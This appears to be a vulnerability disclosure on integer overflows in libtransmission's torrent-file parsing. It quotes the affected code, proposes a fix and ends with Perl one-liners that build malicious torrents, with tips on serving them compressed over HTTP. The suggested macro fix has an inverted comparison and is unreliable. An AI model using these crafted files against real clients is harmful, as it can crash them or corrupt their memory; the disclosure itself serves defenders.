Transmission - Integer Overflows Parsing Torrent Files

I took a look at torrent file parsing in libtransmission, there are a few integer overflows because the tr_new/tr_new0 allocation wrappers don't handle overflow.

#define tr_new(struct_type, n_structs)           \
  ((struct_type *) tr_malloc (sizeof (struct_type) * ((size_t)(n_structs))))
 
#define tr_new0(struct_type, n_structs)          \
  ((struct_type *) tr_malloc0 (sizeof (struct_type) * ((size_t)(n_structs))))
 
#define tr_renew(struct_type, mem, n_structs)    \
  ((struct_type *) tr_realloc ((mem), sizeof (struct_type) * ((size_t)(n_structs))))


Here is one example when parsing the files dictionary:

 static const char*
 parseFiles (tr_info * inf, tr_variant * files, const tr_variant * length)
 {
   int64_t len;
 ...
       inf->isFolder = true;
       inf->fileCount = tr_variantListSize (files);
       inf->files = tr_new0 (tr_file, inf->fileCount); <--

Here fileCount is just the number of elements in a list, you can make a list containing empty dictionaries like this "ldededededede...e".

Here are a few more:

 static const char*
 getannounce (tr_info * inf, tr_variant * meta)
 {
...
       for (i=0; i<numTiers; i++)
         n += tr_variantListSize (tr_variantListChild (tiers, i));
 
       trackers = tr_new0 (tr_tracker_info, n); <--

static void
geturllist (tr_info * inf, tr_variant * meta)
{
...
      const int n = tr_variantListSize (urls);

      inf->webseedCount = 0;
      inf->webseeds = tr_new0 (char*, n); <--

static const char*
tr_metainfoParseImpl (const tr_session  * session,
                      tr_info           * inf,
                      bool              * hasInfoDict,
                      size_t            * infoDictLength,
                      const tr_variant  * meta_in)
...
      inf->pieceCount = len / SHA_DIGEST_LENGTH;
      inf->pieces = tr_new0 (tr_piece, inf->pieceCount); <--


Because these are macros, I'm not sure how you would prefer to fix these. If you want to keep the macros, you could write them like this:

#define tr_new(struct_type, n_structs) \
    ((struct_type*)((SIZE_MAX / sizeof(struct_type)) > n_structs) ? NULL : tr_malloc(sizeof(struct_type) * (size_t)(n_structs)))

They're getting a little bit unwieldy though, and now evaluate n_structs more than once, so maybe inline static functions would be better.

Another bug, containerReserve() doesn't check for integer overflow or allocation failure:

static void
containerReserve (tr_variant * v, size_t count)
{
...
      v->val.l.vals = tr_renew (tr_variant, v->val.l.vals, n); <---
      v->val.l.alloc = n;
...
}

Another bug is that tr_sha1 uses signed integers for length, rather than size_t:

bool
tr_sha1 (uint8_t    * hash,
         const void * data1,
         int          data1_length,
                      ...)

This can cause memory corruption with very large torrents.

Here are some simple testcase for 32bit systems:

$ perl -e 'print "d4:infod4:name4:name12:piece lengthi1e5:filesl","d4:pathl4:filee6:lengthi1ee","de"x107374183,"e","6:pieces0:ee"' > overflow.torrent
$ perl -e 'print "d4:infod4:name4:root12:piece lengthi1e5:filesld4:pathl4:filee6:lengthi1eee6:pieces20:AAAAAAAAAAAAAAAAAAAAe13:announce-listl","l7:udp://0","0:"x134217728,"eee"' > overflow.torrent

This would make a torrent that's a 100MB or so, but would compress really well over gzip Content-Encoding.

Here is a testcase for a 64bit system, note that because of another bug in tr_loadFile you can't open very large torrents with transmission-cli (they get truncated), but you can just pass a http link to it instead:

$ perl -e 'print "d4:infod4:name4:root12:piece lengthi1e5:filesld4:pathl4:filee6:lengthi1eee","6:pieces2684354560:","A"x2684354560,"ee"' > test.torrent
$ python -m SimpleHTTPServer 8080 &
$ transmission-cli http://localhost:8080/test.torrent

The transfer can be compressed to make it a manageable size, it's about 2G otherwise.